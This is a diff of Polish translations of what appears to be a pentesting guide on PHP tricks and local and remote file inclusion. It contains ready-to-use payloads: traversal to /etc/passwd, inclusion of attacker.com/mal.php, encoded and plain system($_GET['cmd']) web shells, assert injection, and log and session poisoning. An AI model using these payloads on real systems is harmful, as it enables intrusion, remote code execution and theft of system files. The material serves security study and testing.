- `"0e3264578" == 0 --> True` Ciąg zaczynający się od "0e" i następnie cokolwiek będzie równy 0
|
||||
- `"0X3264578" == 0X --> True` Ciąg zaczynający się od "0" i następnie dowolna litera (X może być dowolną literą) i następnie cokolwiek będzie równy 0
|
||||
- `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować wejście ciągu "0" oraz niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować ciąg wejściowy "0" oraz niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` Dowolna litera w ciągu jest równa int 0
|
||||
|
||||
Więcej informacji w [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
@ -109,10 +110,10 @@ Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co przekracza pojemność stosu.
|
||||
Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
|
||||
|
||||
[Ten wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, w którym bardziej szczegółowo omawiano ten problem. Nasze zadanie było teraz jasne:\
|
||||
**Wysłać dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w stylu `{system(<verybadcommand>)}` w celu uzyskania SSTI --> RCE --> flagi :)**.
|
||||
**Wysłać dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w rodzaju `{system(<verybadcommand>)}` w celu uzyskania SSTI --> RCE --> flagi :)**.
|
||||
|
||||
Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", co, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1_000_000 (1M) w zmiennej `pcre.backtrack_limit`.\
|
||||
Aby to osiągnąć, `'X'*500_001` spowoduje 1 milion kroków cofania (500k do przodu i 500k do tyłu):
|
||||
@ -153,14 +154,14 @@ Sprawdź:
|
||||
## Więcej sztuczek
|
||||
|
||||
- **register_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp przez **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne\*\* używane w kodzie.
|
||||
- **Ciasteczka PHPSESSION tego samego domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\
|
||||
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, możesz sprawić, że **wartość tej zmiennej w path1 będzie miała zastosowanie w path2**. A następnie path2 uzna zmienne path1 za ważne (nadając ciasteczku nazwę, która odpowiada jej w path2).
|
||||
- **Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\
|
||||
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, możesz sprawić, że **wartość tej zmiennej w path1 będzie miała zastosowanie w path2**. A następnie path2 uzna za ważne zmienne z path1 (nadając ciasteczku nazwę, która odpowiada jej w path2).
|
||||
- Kiedy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>**, aby zobaczyć, czy katalogi php są aktywowane.
|
||||
- [**LFI i RCE przy użyciu wrapperów php**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
Funkcje te są zazwyczaj używane w PHP do **generowania hashy z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\
|
||||
Funkcje te są zazwyczaj używane w PHP do **generowania hashy z haseł** oraz do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\
|
||||
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD_DEFAULT często jest tym samym co PASSWORD_BCRYPT.** A obecnie, **PASSWORD_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zhashować coś większego niż 72 bajty za pomocą tego algorytmu, tylko pierwsze 72B zostanie użyte:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
@ -183,8 +184,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
```
|
||||
#### Wypełnianie ciała przed ustawieniem nagłówków
|
||||
|
||||
Jeśli **strona PHP wyświetla błędy i zwraca niektóre dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP wydrukuje **treść wystarczająco długą**, aby podczas próby **dodania nagłówków** do odpowiedzi serwer zgłosił błąd.\
|
||||
W następującym scenariuszu **atakujący spowodował, że serwer zgłosił kilka dużych błędów**, a jak widać na ekranie, gdy PHP próbowało **zmodyfikować informacje o nagłówkach, nie mogło** (na przykład nagłówek CSP nie został wysłany do użytkownika):
|
||||
Jeśli **strona PHP wyświetla błędy i zwraca niektóre dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP zwróci **treść wystarczająco długą**, aby podczas próby **dodania nagłówków** do odpowiedzi serwer zgłosił błąd.\
|
||||
W następującym scenariuszu **atakujący spowodował, że serwer zgłosił duże błędy**, a jak widać na ekranie, gdy PHP próbowało **zmodyfikować informacje o nagłówkach, nie mogło** (więc na przykład nagłówek CSP nie został wysłany do użytkownika):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -222,7 +223,7 @@ Ta opcja preg_replace została **wycofana od PHP 5.5.0.**
|
||||
```
|
||||
### **RCE via Assert()**
|
||||
|
||||
Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia true lub false** (a w zależności od tego zmienić wykonanie). Zwykle zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\
|
||||
Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia wartości true lub false** (a w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> W tym przypadku, aby uzyskać **RCE**, możesz zrobić:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
@ -233,9 +234,9 @@ Będziesz musiał **złamać** składnię **kodu**, **dodać** swój **ładunek*
|
||||
|
||||
**Inną opcją** (jeśli masz wewnętrzny kod) jest modyfikacja niektórej zmiennej, aby zmienić wykonanie: `$file = "hola"`
|
||||
|
||||
### **RCE za pomocą usort()**
|
||||
### **RCE via usort()**
|
||||
|
||||
Funkcja ta jest używana do sortowania tablicy elementów za pomocą określonej funkcji.\
|
||||
Ta funkcja jest używana do sortowania tablicy elementów za pomocą określonej funkcji.\
|
||||
Aby nadużyć tej funkcji:
|
||||
```php
|
||||
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
||||
@ -274,7 +275,7 @@ Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul
|
||||
|
||||
Jeśli znajdziesz lukę, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz nadużyć tego zachowania, aby uzyskać **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych (chociaż w tym przypadku może to nie działać).
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych plików (chociaż w tym przypadku może to nie działać).
|
||||
- **`PHPRC`** : Instrukcja dla PHP, **gdzie znaleźć plik konfiguracyjny**, zazwyczaj nazywany `php.ini`. Jeśli możesz przesłać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`**, określający drugi przesłany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
|
||||
1. Prześlij plik PHP zawierający nasz shellcode
|
||||
2. Prześlij drugi plik, zawierający dyrektywę **`auto_prepend_file`**, instruującą preprocesor PHP do wykonania pliku, który przesłaliśmy w kroku 1
|
||||
|
||||
@ -13,7 +13,7 @@ Vulnerable **funkcje PHP**: require, require_once, include, include_once
|
||||
|
||||
Interesujące narzędzie do wykorzystania tej luki: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesujące - pliki LFI2RCE
|
||||
## Blind - Interesujące - LFI2RCE files
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
@ -53,7 +53,7 @@ Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zas
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### sekwencje przejścia usunięte nienawrotowo
|
||||
### sekwencje przejścia usunięte nienawrotnie
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -95,9 +95,9 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje:
|
||||
- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji.
|
||||
- **Błąd / Brak wyniku:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji.
|
||||
- **Zawartość `/etc/passwd`:** Obecność folderu `private` jest potwierdzona.
|
||||
4. **Rekurencyjne badanie:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
|
||||
4. **Rekurencyjna eksploracja:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
|
||||
|
||||
Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
|
||||
```bash
|
||||
@ -125,7 +125,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
```
|
||||
W tych scenariuszach liczba wymaganych przejść może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera.
|
||||
|
||||
- **Używanie segmentów kropek i dodatkowych znaków**: Sekwencje przejść (`../`) połączone z dodatkowymi segmentami kropek i znakami mogą być używane do nawigacji w systemie plików, skutecznie ignorując dołączone ciągi przez serwer.
|
||||
- **Używanie segmentów kropek i dodatkowych znaków**: Sekwencje przejść (`../`) połączone z dodatkowymi segmentami kropek i znakami mogą być używane do nawigacji po systemie plików, skutecznie ignorując dołączone ciągi przez serwer.
|
||||
- **Określenie wymaganej liczby przejść**: Poprzez próbę i błąd można znaleźć dokładną liczbę sekwencji `../`, które są potrzebne do nawigacji do katalogu głównego, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (jak `.php`) są neutralizowane, ale pożądana ścieżka (`/etc/passwd`) pozostaje nienaruszona.
|
||||
- **Zaczynanie od fałszywego katalogu**: Powszechną praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (jak `a/`). Technika ta jest stosowana jako środek ostrożności lub w celu spełnienia wymagań logiki analizy ścieżek serwera.
|
||||
|
||||
@ -141,9 +141,9 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
||||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Zdalne dołączanie plików
|
||||
## Remote File Inclusion
|
||||
|
||||
W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Wyłączone.** Musi być **Włączone**, aby to działało, a w takim przypadku możesz dołączyć plik PHP z własnego serwera i uzyskać RCE:
|
||||
W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Wyłączone.** Musi być **Włączone**, aby to działało, a w takim przypadku możesz dołączyć plik PHP z swojego serwera i uzyskać RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
@ -153,7 +153,7 @@ Jeśli z jakiegoś powodu **`allow_url_include`** jest **włączone**, ale PHP *
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> W poprzednim kodzie końcowe `+.txt` zostało dodane, ponieważ atakujący potrzebował ciągu, który kończył się na `.txt`, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany).
|
||||
> W poprzednim kodzie końcowe `+.txt` zostało dodane, ponieważ atakujący potrzebował ciągu, który kończyłby się na `.txt`, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany).
|
||||
|
||||
Inny przykład **nie używający protokołu `php://`** to:
|
||||
```
|
||||
@ -166,7 +166,7 @@ W Pythonie w kodzie takim jak ten:
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Jeśli użytkownik przekaże **ścieżkę absolutną** do **`file_name`**, **poprzednia ścieżka zostanie po prostu usunięta**:
|
||||
Jeśli użytkownik przekaże **absolutną ścieżkę** do **`file_name`**, **poprzednia ścieżka zostanie po prostu usunięta**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
@ -177,11 +177,11 @@ To jest zamierzona funkcjonalność zgodnie z [dokumentacją](https://docs.pytho
|
||||
|
||||
## Java Lista Katalogów
|
||||
|
||||
Wygląda na to, że jeśli masz Path Traversal w Javie i **prosisz o katalog** zamiast pliku, **zwracana jest lista katalogu**. To nie będzie miało miejsca w innych językach (o ile mi wiadomo).
|
||||
Wygląda na to, że jeśli masz Path Traversal w Javie i **prosisz o katalog** zamiast pliku, **zwracana jest lista katalogu**. To nie zdarzy się w innych językach (o ile mi wiadomo).
|
||||
|
||||
## 25 najważniejszych parametrów
|
||||
|
||||
Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne luki w włączeniu plików (LFI) (z [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne włączenie plików (LFI) (z [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -277,17 +277,17 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie:
|
||||
|
||||
- Użyj kodeka **`UCS-4LE`**, aby pozostawić wiodący znak tekstu na początku i zwiększyć rozmiar ciągu wykładniczo.
|
||||
- Użyj kodeka **`UCS-4LE`**, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo.
|
||||
- To będzie używane do generowania **tekstu tak dużego, gdy początkowa litera jest poprawnie odgadnięta**, że php wywoła **błąd**.
|
||||
- Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy.
|
||||
- To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby nie była znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
|
||||
- To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby przestała być znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
|
||||
- Kodek **convert.iconv.UNICODE.CP930** przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to `a`, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą.
|
||||
- Używając innych transformacji, takich jak **rot13** na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przesuwania innych liter do zakresu szesnastkowego).
|
||||
- Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekła liczba.
|
||||
- Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci porządkowej, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu.
|
||||
- A aby móc uzyskać **dalsze dane**, pomysł polega na **generowaniu 2 bajtów danych śmieciowych na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku.
|
||||
- Ostatecznym problemem jest zobaczenie, **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci w porządku, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu.
|
||||
- A aby móc uzyskać **dalsze dane**, pomysł polega na **wygenerowaniu 2 bajtów danych śmieciowych na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku.
|
||||
|
||||
W poście wyciekła również narzędzie do automatycznego wykonania tego: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
W poście wyciekło również narzędzie do automatycznego wykonania tego: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
@ -301,7 +301,7 @@ Możesz również użyć **php://stdin, php://stdout i php://stderr** do uzyskan
|
||||
### zip:// i rar://
|
||||
|
||||
Prześlij plik Zip lub Rar z PHPShell wewnątrz i uzyskaj do niego dostęp.\
|
||||
Aby móc nadużyć protokołu rar, **musi być on specjalnie aktywowany**.
|
||||
Aby móc nadużywać protokołu rar, **musi być on specjalnie aktywowany**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -356,11 +356,11 @@ Aby skompilować plik `.phar`, należy wykonać następujące polecenie:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Po wykonaniu zostanie utworzony plik o nazwie `test.phar`, który może być wykorzystany do eksploatacji luk w Local File Inclusion (LFI).
|
||||
Po wykonaniu zostanie utworzony plik o nazwie `test.phar`, który może być potencjalnie wykorzystany do eksploatacji luk w Local File Inclusion (LFI).
|
||||
|
||||
W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, lub `filesize()`, można spróbować wykorzystać lukę deserializacji. Luka ta jest związana z odczytem plików przy użyciu protokołu `phar`.
|
||||
W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, lub `filesize()`, można spróbować wykorzystać lukę w deserializacji. Luka ta jest związana z odczytem plików przy użyciu protokołu `phar`.
|
||||
|
||||
Aby uzyskać szczegółowe informacje na temat eksploatacji luk deserializacji w kontekście plików `.phar`, zapoznaj się z dokumentem podanym poniżej:
|
||||
Aby uzyskać szczegółowe informacje na temat eksploatacji luk w deserializacji w kontekście plików `.phar`, zapoznaj się z dokumentem podanym poniżej:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -370,9 +370,9 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Można było nadużyć **dowolnego pliku odczytywanego z PHP, który obsługuje filtry PHP**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Bardzo szybkie podsumowanie: nadużyto **przepełnienia o 3 bajty** w stercie PHP, aby **zmienić łańcuch wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hook do wywołania **`system`**.\
|
||||
Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów PHP.
|
||||
Możliwe było nadużycie **dowolnego odczytu pliku z PHP, który obsługuje filtry PHP**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Bardzo szybkie podsumowanie: nadużyto **przepełnienia 3 bajtów** w stercie PHP, aby **zmienić łańcuch wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hook do wywołania **`system`**.\
|
||||
Możliwe było alokowanie kawałków o określonych rozmiarach, nadużywając więcej filtrów PHP.
|
||||
|
||||
### Więcej protokołów
|
||||
|
||||
@ -383,11 +383,11 @@ Sprawdź więcej możliwych [**protokołów do uwzględnienia tutaj**](https://w
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów URL HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów URL FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzorca (Nie zwraca nic drukowalnego, więc nie jest naprawdę przydatne tutaj)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzorca (Nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (Nieprzydatne do odczytu dowolnych plików)
|
||||
|
||||
## LFI za pomocą 'assert' PHP
|
||||
## LFI przez 'assert' PHP
|
||||
|
||||
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierają znaki przechodzenia przez katalogi, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczane.
|
||||
|
||||
@ -410,7 +410,7 @@ Ważne jest, aby **zakodować te ładunki URL**.
|
||||
> [!WARNING]
|
||||
> Ta technika jest istotna w przypadkach, gdy **kontrolujesz** **ścieżkę pliku** funkcji **PHP**, która **uzyskuje dostęp do pliku**, ale nie zobaczysz zawartości pliku (jak proste wywołanie **`file()`**), ale zawartość nie jest wyświetlana.
|
||||
|
||||
W [**tym niesamowitym poście**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak można nadużyć ślepego przejścia przez ścieżkę za pomocą filtra PHP, aby **wyekstrahować zawartość pliku za pomocą błędnego orakula**.
|
||||
W [**tym niesamowitym poście**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak można nadużyć ślepego przejścia przez ścieżkę za pomocą filtra PHP, aby **wyekstrahować zawartość pliku za pomocą orakula błędów**.
|
||||
|
||||
Podsumowując, technika polega na użyciu **kodowania "UCS-4LE"**, aby zawartość pliku była tak **duża**, że **funkcja PHP otwierająca** plik spowoduje **błąd**.
|
||||
|
||||
@ -428,7 +428,7 @@ Wyjaśnione wcześniej, [**śledź ten link**](#remote-file-inclusion).
|
||||
|
||||
### Poprzez plik dziennika Apache/Nginx
|
||||
|
||||
Jeśli serwer Apache lub Nginx jest **podatny na LFI**, wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **parametrze GET** powłokę PHP, taką jak **`<?php system($_GET['c']); ?>`** i dołączyć ten plik.
|
||||
Jeśli serwer Apache lub Nginx jest **podatny na LFI**, w funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **parametrze GET** powłokę PHP, taką jak **`<?php system($_GET['c']); ?>`** i dołączyć ten plik.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że **jeśli używasz podwójnych cudzysłowów** dla powłoki zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "_**quote;**_", **PHP zgłosi błąd** w tym miejscu i **nic innego nie zostanie wykonane**.
|
||||
@ -468,7 +468,7 @@ User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
|
||||
Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np: `<?php system($_GET['c']); ?>`).
|
||||
Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np. `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
@ -496,7 +496,7 @@ Ustaw cookie na `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Użyj LFI, aby dołączyć plik sesji PHP
|
||||
Użyj LFI, aby dołączyć plik sesji PHP.
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
@ -521,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
